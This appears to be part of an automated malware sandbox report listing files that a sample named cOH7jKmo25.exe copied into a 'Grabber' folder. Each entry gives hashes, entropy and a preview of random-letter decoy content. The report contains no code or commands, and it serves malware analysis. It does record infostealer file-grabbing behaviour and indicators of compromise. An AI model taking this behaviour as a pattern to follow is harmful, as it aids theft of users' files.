VYIYXOYHKTGTSHIRYW

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Downloads\MNULNCRIYC.png

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704010251295094
Encrypted:	false
SSDEEP:	24:/j/sfpWFBIirMexXYVw/K9dKAkzFeHx1x21g4kug4c7xy:/j/vBDZxXYVw/KXjHx/4kuUxy
MD5:	DF05C5F93419C56BFE3A84BDCC929382
SHA1:	36AABBCD46C0F368E18FA602E486816D2578F48E
SHA-256:	F7116531006BD0A5DEE64436C66CE5487C662F72BFBCD235C7407FBF2A3278DE
SHA-512:	EB50E34AA5EE92A7C90AA5BCE11F0693AFAC73C26B04AF9C676E15A24813C52EAF09A4EA3F6490223CABCDB3EB6277E74CB6FF288D3D1871F14B410E950656BA
Malicious:	false
Preview:	MNULNCRIYCLQPFRTTBIRJXLLXDPOIGHIWSMRZAWOWMFPIGBQDOQPBHCVDNAEFVPPKLZOIKPKFYDTDOGMSIUWATNOJJJSNKBWJHKKWMUZDRGJJNWUASOTXKYYIZLCOHDOBJPMAPIXVROTWYIYRPFZWZLECCXJOFYKKMMQGDBCRRZBEIALJQWFBIRGZWKKZNILSZURIFNVYXWPHRMYGXATLINJURPYVWCXYNUAESGKBUAMJTBBSVQQAIZKUVJSGVILJMHXCRFQYYXESEYBSMBQEHOEREHZFHPFENYHMHULCMQJKSSZLDDCMPWESAOKZQCENLMVXZGUVHNVUKXEWENTAXUEHCWCADQIRNYDFQPSQSUSDTQUVKPDYTOYMXIFXIMYDOEFHNJDKHPJDUFNMBXUSNDPQKBSTIVTXYHJYKOGCJMZHQRQQDXTWGEMBAJZIDXHPCGJTNITUFATHMPLPFJLWOPXNLVVCCPOQFCWKUCSSMFUWUXSMBYFBMUPJSINHRBJCPPQTSNUWCSGVBNMGEVXSQAUHMBGCNHVBRKKXPGDWRHAWFZYIGXLNCPKSLAZERFWOQNQAXTGZOWNEPLIJOXTLEMUDNYMQCRGFNMOCSUXSKKUKSNFLMUYAVMFWVWOEHAYJWOLYNYYTGSCYSYAJVUNEZQYLOBOCROMKWXPJGQVMSTNKYJEQCUQCBVMAJBOALKJAPYUEVMIWWFMSPLPSKKZMKNEKPQGDNBVBYHNPDIQEEKXUZLGWXQGDQZEHBMYYFUDFGNLYGARBRCREXIQUUWFEXDYINDKFJACYETJBANLSCEYWEBIPFZEOGUWOHBPBFLDAELAEPFOIZRSYWISCBUYPUAHWUVAIRDXHGXUQNAEDFFRDSODQFGQLGCIHSIWHVUDCTSMIQTMXSFNUPKSLBDPGVPMZPHIEMSXUQSRIGGMHVDMGMPEPCJPZBENUEBMZNZVWTRCVAGRSYRBZLOAETCXTWCINHSWQQFCHATVQRGJ

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Downloads\MQAWXUYAIK.docx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694269844633945
Encrypted:	false
SSDEEP:	24:8fZFmL9j6Vqvtvrd45sdmW5rRO2KEceUJEcnD1:8RFmL9wqY5qmW5VvcpJEq
MD5:	5E40B4BAF83E9A23A02D6AB379018ADE
SHA1:	47E1914E79AF5D1C90B201FA9A2470A6DDE0D2D0
SHA-256:	E4A221B66518E711FA910625864F36100572A341B05960B3A01889E6393860AF
SHA-512:	50B4FC17B8E6A3D6F2AE7E79BC928ECF02344807B7C0103D91C9C9B01846D3026F377511B8792658587CED392F303F3B325DACD669554055A3C4E778E64A5CA9
Malicious:	false
Preview:	MQAWXUYAIKJZDQIPIEWMLSKXQDXCSIBTOUXCXZAQEYMFIPUKEWDRKYXMBFAEAIEBYLJHANJDICKVRWRYTJZOWEFFJPSSDNBTMTPIVXSVKHYSQUVOKIIKOHZRTBEATVKDWNNQBMYUGKPMRHQBAPGBOTHRORULCQYAEBJYXMZFZXEDLVUTMXEOPNUTQDPFDWWNOPYMFDCDNUQUQLYMWMKOJZMRIYBCAFJAEFUVTOUFBQBRUBWQVGDWPIKRITDALHWQSAPYVARQGQLYXLMNTQSLSPAUIWZRRROVEGNTPLNQITTJYFKNXCKERAVXLSGHLBRKTFPMXSSIBZDONXSKHXZFWONPIPTFGNRIYRMYPZXLVXEJJMAHKCIYWPFDAHGCVFRHUEIHZKBVMRMLFSKMOMDMMQZJJAOFNHFAMIBCLCLZHQCIKLOBZLNSVBVCHDOYIHMAWWJNQHZDGKVCOCIRQOYTUFEWAGZWBPNLJFWAKYETACSEZLMIQNOAAWSGVNBZZZMSSEFVSETBVTSMTSAJHDYWLIBJPQUHPXWOPSVWQVVSLPTYOWJGWLXRJOMQMBZSMWLZZDUJIUHYZLUNSOMJMWEUBWYSZMXVDNUGSZBSFDACOIFWETJRIXVPDMSVMTKEKNHJFFXCTPPDKYDXOUOGJAFSXVENTIMFLXNKBWSOIJAZLZTXZGBBMUATMNGOCOLHIAOOTBENXJLNEBPUYZAWEWHZCOBEUXLNOCBFMFNLCFQRYSEURUEVQSEGVPCVNXYOUEBPWYJVBOVZHHSIVQELASLMFLMIGPFTSWZUYAGUCKFCQXXUWMMESTICTHONLUYSPUWOTQKWRRQMUHGZGAAEZOPOKQULFWRPEFDYEONLKPEMDUKCRINZIRUSKDDNYBNBYIIEFYAXNFVFGHEJTHFTUPICAWBETIIANYRONFSQFBHEGJISEQSPFKPRSEZHTQOXRPUKTEUQJYBYNQULHXLSRXNENUVTORORBUHFHDFSRJFI

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Downloads\NHPKIZUUSG.pdf

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.70435191336402
Encrypted:	false
SSDEEP:	24:q83Oua2II99Dm5Xcf7kmp5fFjUTZF/+akoYY9fBpCtJ6Wi5v:7OD2ISi5Xcz9l8RkcFCJ6Wix
MD5:	8C1F71001ABC7FCE68B3F15299553CE7
SHA1:	382285FB69081EB79C936BC4E1BFFC9D4697D881
SHA-256:	DCC1D5A624022EFCE4D4A919041C499622A1213FD62B848C36E6252EE29B5CAE
SHA-512:	8F2124445F7856BFFBB3E7067135CFA70BFB657F8CEAEE89312CF15CFA127CACF28C2F1F9CD1CC64E56A8D8C248E237F2E97F968D244C457AD95D0AD5144E2A7
Malicious:	false
Preview:	NHPKIZUUSGERQSLBGSEAVXGNDWXNHRIMGKQZIYGMNAKLDSDLMZTSHWNQSMRLTOXKIQVZWPTPMYGCCCTOQMOFGPYVVCCUDORIXMMXDHKCETULBHLJENABEIJPTFOHFPIUUSFPUHSBHENDANFMOYZRZAXYVFEZIKDKUEVZAWEFKRTUJZPFUDMEZZQVBGYMMIHKEBYJMJMTTXSDTDQAUATXLABLBEJUBBPSXZPXMHVNHOHYPKCYLDVGJSBPEXWGYVPHWPWLYJIOFFNQHAOBSRORLXUKIHEETKPFDPHQAGTKOMEWPBYGMTXHOQFINPIQARIVGCFUFIETTFUMCUDHRHCSTIZWRDJEHWOLAFOSWAVIGSWONBSKFWHCQAGHLWBKAFUQUULJRVZNUGGVOCCVTTWZEZFPJKZDJMHDYXQKDPLRECPAAEZVBXFDGZJIUGNMOEAISGBSPVTDRADHODLAXUFWZVTJPIGKERLENNAJHHHNNAPBWXCOGJSNVQJJEEPSMESQKGYOHXVMZQNSMSJHQHSGCJZCBZJXMLGNQQKZRIQSQCAWXZFCRMGMMLKHZDWNQTXPTYWGWNQQEQWEZJPQVPOASQIIJYWPUVLHFSLMGHWITYEKRNYGXYTAJZSRGYUWTMRNOICIEPMAYUOIDDOUSYSPAILYQQLYDTBOTEDGSCNXDRRQMOBWCQMDCQXTPEXDKPLVRMFZSKERSAULAYLSOJGDMFTZECKZYYLQVVDOMXISCOBUPPSAYUFOWOCBDJALHRAXDIKEMRYGQMEYTENAHXKWSVJEDEJTIUWZDHLIBKQRVMQLSAYIIOZDWWOLHCJUVJVRYJLTIENWCTYDOSJVSFUHOQPOXCMFGTAWFRCZJNYBCRPUFRUMZIBQDOVOBMFCHMMFHSSJZDCZNMWNCNSQMZWHCOEYNCAFONSABBQCKAPFWJIGKNUCUJZWUKRWIOFVWQWFSYAHDWXEMJKFZYMRVIRAMPVKBXONBJFTXIBDAYIE

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Downloads\PSAMNLJHZW.jpg

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	PSA archive data
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698960923923406
Encrypted:	false
SSDEEP:	24:mGnbK2uIv9xuPtDhsIChdpYx5eCmVRCqmDCL4yq/6jv:fpuVKIChHYve9RC2LpEK
MD5:	186B4E00711974F7AF578BD6FF959BBF
SHA1:	642B794D73FB09655FBFF8EDCAAA267634554569
SHA-256:	2505B69640298D08BF2DC435A6D289C1FE7ABB349D2017F63EAD8CD2C94199EF
SHA-512:	DD6260B7AF96C7449D3DB4826888F7EAD8F274F9E170E103D588B0AB00A044B5978544A10F7B3C0C8464B74FD10B087C5671177AC1468D7F172DF4E7644A336E
Malicious:	false
Preview:	PSAMNLJHZWSQDMAZGNPSQVJPYSFUCTTGDJYZLMXSOOEBVYTMYXCFKBUKVYFFHMXRUCYMSTINQFSWBKGZHWWOXSUHIJJAHELKVUMDNJZMRMZFKOUIQGCNVNZVXKWKRUMIVVNVMXPLQTYNNEISPTFLHCHCESXNGLPJCEUOVDOFSSNZDEVGGWGRIJYDNPIXZZQRIXXGAVNXXGMBNWDRPEIKJPBTWXUETHQXVKVNRJASMGUWQWQPUCAORVUSLGQPHEZAOFOACKQOBETERETOORPNJFKDGTDRHKRKEEAGCTYGGVCLOVTVNKIGBHRQXIREFRVVEMBZIDHIFEIOHPIJYGZWGTQWILPNZTDESONAGSHAQLUAVRKHMFOMOQYJXRVMLCUUJVOTUCVOEBKITXOZUZGZKCYNALMRPHSNXGINUBTOYHFDFQLRSZOZWPZGUFGNQWCZHZIXHOYMIXONKNPROHQRYFNTXULDHBFGYLGFAUXJWMFXTRDTCJKCQRMPSJWGMOUCEGLQWZCNKFEKFEUJJIUNMHRRSZPYMRYVQQYYPMGHHEKAQFKKXELSAQQLSLKKUPFWZCMCMFAINYSBZBCFXHKVLASFVZCXQXXXZLHZDHVGKAFBMUFYPUMCUFVZMLVFPOUFRVLCXBIJNSPUAJZYMLVZAAGXYNUCZCXJWFYMHPNYUZQZEKWRMDNWTUBEAPAAIVGGSWPFGRSUHMUGOYCHHBOMRHKMENUQTICOXQBOTOWXHARDPYNZYJCISYKDDFBREXFJNPUTCEDQXTRWWXEGLPLZBRUZXKHOJYFWTASZSDLWXBSEYMHYXZCADAYDPKFTVEVMYYPXPKGKKZUPTORUPLLMBXPDGYHRPPKYZOAWNEPPXHMTQWXMSQFVUTRDJEQKYSLZXRWAHJVOXMIJIPEMOVSQXZXCXSWRQRFYBFUTICJAAGKRSNWDBSGSEWJUBOEPILXBOYUDRCBRFHNBWDQPKBAZMBFBVNFLUTVKABREBJZU

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Downloads\PSAMNLJHZW.xlsx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	PSA archive data
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698960923923406
Encrypted:	false
SSDEEP:	24:mGnbK2uIv9xuPtDhsIChdpYx5eCmVRCqmDCL4yq/6jv:fpuVKIChHYve9RC2LpEK
MD5:	186B4E00711974F7AF578BD6FF959BBF
SHA1:	642B794D73FB09655FBFF8EDCAAA267634554569
SHA-256:	2505B69640298D08BF2DC435A6D289C1FE7ABB349D2017F63EAD8CD2C94199EF
SHA-512:	DD6260B7AF96C7449D3DB4826888F7EAD8F274F9E170E103D588B0AB00A044B5978544A10F7B3C0C8464B74FD10B087C5671177AC1468D7F172DF4E7644A336E
Malicious:	false
Preview:	PSAMNLJHZWSQDMAZGNPSQVJPYSFUCTTGDJYZLMXSOOEBVYTMYXCFKBUKVYFFHMXRUCYMSTINQFSWBKGZHWWOXSUHIJJAHELKVUMDNJZMRMZFKOUIQGCNVNZVXKWKRUMIVVNVMXPLQTYNNEISPTFLHCHCESXNGLPJCEUOVDOFSSNZDEVGGWGRIJYDNPIXZZQRIXXGAVNXXGMBNWDRPEIKJPBTWXUETHQXVKVNRJASMGUWQWQPUCAORVUSLGQPHEZAOFOACKQOBETERETOORPNJFKDGTDRHKRKEEAGCTYGGVCLOVTVNKIGBHRQXIREFRVVEMBZIDHIFEIOHPIJYGZWGTQWILPNZTDESONAGSHAQLUAVRKHMFOMOQYJXRVMLCUUJVOTUCVOEBKITXOZUZGZKCYNALMRPHSNXGINUBTOYHFDFQLRSZOZWPZGUFGNQWCZHZIXHOYMIXONKNPROHQRYFNTXULDHBFGYLGFAUXJWMFXTRDTCJKCQRMPSJWGMOUCEGLQWZCNKFEKFEUJJIUNMHRRSZPYMRYVQQYYPMGHHEKAQFKKXELSAQQLSLKKUPFWZCMCMFAINYSBZBCFXHKVLASFVZCXQXXXZLHZDHVGKAFBMUFYPUMCUFVZMLVFPOUFRVLCXBIJNSPUAJZYMLVZAAGXYNUCZCXJWFYMHPNYUZQZEKWRMDNWTUBEAPAAIVGGSWPFGRSUHMUGOYCHHBOMRHKMENUQTICOXQBOTOWXHARDPYNZYJCISYKDDFBREXFJNPUTCEDQXTRWWXEGLPLZBRUZXKHOJYFWTASZSDLWXBSEYMHYXZCADAYDPKFTVEVMYYPXPKGKKZUPTORUPLLMBXPDGYHRPPKYZOAWNEPPXHMTQWXMSQFVUTRDJEQKYSLZXRWAHJVOXMIJIPEMOVSQXZXCXSWRQRFYBFUTICJAAGKRSNWDBSGSEWJUBOEPILXBOYUDRCBRFHNBWDQPKBAZMBFBVNFLUTVKABREBJZU

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Downloads\QVTVNIBKSD.docx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695938097013837
Encrypted:	false
SSDEEP:	24:z3kwMX3+NBj4ilMczAMBVgs3WrV8bfMbETQzpns7vh2HCpPQ:bkww3UGiJyGWr3RMvh2HC9Q
MD5:	DC3E834A02B2C81DF0167ACE639BA00F
SHA1:	32859A24EE65CBB3BD804D02639FCC4745C1CBC9
SHA-256:	0034D483C5EB801444D442E100E6B97859FB3752243C3323578F94083F469A29
SHA-512:	CA0BEDA568B13F4522ABFCBD8E73CD96AEEF991C8896E5C9F03D999722498840CFF29265340F8D86267E8E134085300FF8D42EC5E4741229332DEAD4B30E6D0F
Malicious:	false
Preview:	QVTVNIBKSDCTAQBGAOXCDNDJJSYXWJGWLNQZGTIRDPOXBJKWLQKQGHTGEEYZCSQXRIHLQYWVXDHEUMWEKWFGJLMYICQYBHNEZJWDJOGRRNRTOYBVHVOADCWLJBCJDEJQGWHIISDSHGZRWITARTFGZLYVQWZDXCBALJESXBFEMTGTIZQWIKXFTDQGTAMDONWUIJUYOKJXLUTMOCIHGFKUVWTZWGGDCWXLKJNCFYDCGKWQMLFWZQSHHWIEETWTGXVBHMSPQQUETSKWPAJFMRFRCHDNYKBAAHPLMJRBBAJTVLLAUUCLJYJMJLBKQGNTWGMPYQTUPYRFGMYPSFAZKFDAZPZSDSLLFCSCKJNYWUFBZSQQHSKWDGIBILREFDZJQVIODCTVEDOBTVFRFOHJOUFGKJWSBYWFYBYTUGQGTLYPZCUIXPOJLCNPDOVBXWCGCWSAJJFYOSWSVKPATDKQJRADERJVQVTQESFPSXRVBVEDLVTQYWXVFAKVPURCBYBIAPAQUFQNNEYDRUYBOOCMWAVFRHNFPGDIUCRWCXKMXPIRSBECJROTFLGGLOLFKFRGHTSAIKSQPSZXJDXWBHZHVBFILAACTJHJEQBYDONPYTGLNXEZPFCIDHTTHGIOFCTFHRHIJGRCZPVJAOXIBAJIEMVNELYPQKBHQECWJYTAPCZMZNVFUTOKDAKOXRQKSDSHHXCNPTOQACAKMZSIGEKSTZYQWWAIYNMYZGDCJITHDWZHQWHGDAHXUUSQNHSEWLINMAVJEJLBWIZQNZHARGRNBGZEQKQKZKRPFIWNXAVGMLKQJEJDYBDRSHJBULSDTLIKLIFONGYGERWNAHSKLLHMDBCSSWVOEIGUACWQMNZYBQMRIYIQZQOYRZUOCZWOMBFRIJMVRKAWJHTMEMGVQYWBBMYZGCFTJKRLDPFOIYFDWQUEGJXKLKIPLVLNTFZCDKJMEKYNPPGPMXAGDHXGEVWCGIHPFBAPAKCGGKURXQFPUIQV

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Downloads\QVTVNIBKSD.pdf

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695938097013837
Encrypted:	false
SSDEEP:	24:z3kwMX3+NBj4ilMczAMBVgs3WrV8bfMbETQzpns7vh2HCpPQ:bkww3UGiJyGWr3RMvh2HC9Q
MD5:	DC3E834A02B2C81DF0167ACE639BA00F
SHA1:	32859A24EE65CBB3BD804D02639FCC4745C1CBC9
SHA-256:	0034D483C5EB801444D442E100E6B97859FB3752243C3323578F94083F469A29
SHA-512:	CA0BEDA568B13F4522ABFCBD8E73CD96AEEF991C8896E5C9F03D999722498840CFF29265340F8D86267E8E134085300FF8D42EC5E4741229332DEAD4B30E6D0F
Malicious:	false
Preview:	QVTVNIBKSDCTAQBGAOXCDNDJJSYXWJGWLNQZGTIRDPOXBJKWLQKQGHTGEEYZCSQXRIHLQYWVXDHEUMWEKWFGJLMYICQYBHNEZJWDJOGRRNRTOYBVHVOADCWLJBCJDEJQGWHIISDSHGZRWITARTFGZLYVQWZDXCBALJESXBFEMTGTIZQWIKXFTDQGTAMDONWUIJUYOKJXLUTMOCIHGFKUVWTZWGGDCWXLKJNCFYDCGKWQMLFWZQSHHWIEETWTGXVBHMSPQQUETSKWPAJFMRFRCHDNYKBAAHPLMJRBBAJTVLLAUUCLJYJMJLBKQGNTWGMPYQTUPYRFGMYPSFAZKFDAZPZSDSLLFCSCKJNYWUFBZSQQHSKWDGIBILREFDZJQVIODCTVEDOBTVFRFOHJOUFGKJWSBYWFYBYTUGQGTLYPZCUIXPOJLCNPDOVBXWCGCWSAJJFYOSWSVKPATDKQJRADERJVQVTQESFPSXRVBVEDLVTQYWXVFAKVPURCBYBIAPAQUFQNNEYDRUYBOOCMWAVFRHNFPGDIUCRWCXKMXPIRSBECJROTFLGGLOLFKFRGHTSAIKSQPSZXJDXWBHZHVBFILAACTJHJEQBYDONPYTGLNXEZPFCIDHTTHGIOFCTFHRHIJGRCZPVJAOXIBAJIEMVNELYPQKBHQECWJYTAPCZMZNVFUTOKDAKOXRQKSDSHHXCNPTOQACAKMZSIGEKSTZYQWWAIYNMYZGDCJITHDWZHQWHGDAHXUUSQNHSEWLINMAVJEJLBWIZQNZHARGRNBGZEQKQKZKRPFIWNXAVGMLKQJEJDYBDRSHJBULSDTLIKLIFONGYGERWNAHSKLLHMDBCSSWVOEIGUACWQMNZYBQMRIYIQZQOYRZUOCZWOMBFRIJMVRKAWJHTMEMGVQYWBBMYZGCFTJKRLDPFOIYFDWQUEGJXKLKIPLVLNTFZCDKJMEKYNPPGPMXAGDHXGEVWCGIHPFBAPAKCGGKURXQFPUIQV

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Downloads\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Downloads\XZXHAVGRAG.jpg

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Downloads\ZSSZYEFYMU.jpg

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698801429970146
Encrypted:	false
SSDEEP:	24:qYZf7NYgK11E+8TKka0vEdKPG8TQZjtLMiMl+gc:Zk1k3a0Ma18Z4A
MD5:	488BC4EF686937916ECE6285266A6075
SHA1:	498BA8EBDA3DABD222532DB0C0D6262B0C5A7E08
SHA-256:	8DEB161A95E22B50B1BD88EDBBB4312003788B8A6B35D22AEC02CC200FF34C17
SHA-512:	1B7AC223F6277A74893597499F79D674E0798699081B0B2602123B9118E3F68815A951F787E71E5C35589E5AACF987E9C8F669FF9A9F6E94209F15DADEFF40A3
Malicious:	false
Preview:	ZSSZYEFYMUQEKZVPQBMSGZPGFJSTPVKSKKYYOJJIVKJRXMBDCMKBNSXEZOYYLLCVGBCQCKVUSXHLTTLRBHPCNSEMRROKBXFGQJZTBAVNRJJQBKWQYWINUTDWXUKTWQTLFVKQJLRXVFMCOZRZYQJKBITZONPSKVFYGVFRXBDOVYHVEMAQOEYMKHGFIUSMUZFLKRKBNYFQULYASQJWIMXTPKLTXNGJEWMVSDMVYEHMDPUBWHXLMDGALITFYOPNEIQSZIFTQVUSLRLYPKRTXNKPZMOTSFMCTTCARDYTVYJNZYBYCYFEMWWKCHMOTEZUTCREBZPMVCXBYPYANERMGIWQGRLDPRJEURITRIHETMYHEDRHVZWCMDHNFFZGLKKJQGCRIABTVOOSCMRDMCYBMDQOGHUUZIQUDIGWJEDYSILALQBOBHJCJXMYCXWMKWTAZTAUZGCOOYTBWHVSAMUGEMKVHNGWYROVAEWXIOJKNUUAHUZJKSBJBZHYPRMGXULRNKCEDZBZFSCLCLARQDJMLPUKDSUWUIZMUDIKRKQZKQOXAYQYQTWHEIQXYYRXUJUIJQHETOHAPWXNCXFRKNXDPMNGFVZLBDFQUQRTHWUPUFFOEETFIAMWILGGLMPNTNBWFAVUGTBECKTLKLZQTWDYQGKSATWYWCKMJUIBSPWHFOXTNCPNZROSZPOSCRTUVGPSNZPJGXCOSDTDGNOFJGXANNYNPDRWRWHRMJKJZLEGOXMOOUXTCHTTXGYUQDVKJZMOUPMXIJCGGEIUPFMUDPJPVMINFDESCQIALHEUSISIOWESWYRPEKDPMSSUALHIWLZBLYGOHEFVJWNLRWWTIYJVKFFZJKDTZXWMWMLHMPMCDJASZUPRTYGWPHHTFMTSSQIBOUWXAGDKQACWGATARXNPCMQFCVREPARZFKWLUWYDUSCBVSUXEQBCXPUESWMVITZYZKPVGHRQVMKQXDEITVASTNPYLAQHWTYQQEBOGBVRUVAJ

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Downloads\desktop.ini

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5191090305155277
Encrypted:	false
SSDEEP:	6:QyqRsioTA5wmHOlRaQmZWGokJqAMhAlt4DAlLwkAl2FlRaQmZWGokJISlVl9:QZsiL5wmHOlDmo0qmt4clLwr2FlDmo0d
MD5:	3A37312509712D4E12D27240137FF377
SHA1:	30CED927E23B584725CF16351394175A6D2A9577
SHA-256:	B029393EA7B7CF644FB1C9F984F57C1980077562EE2E15D0FFD049C4C48098D3
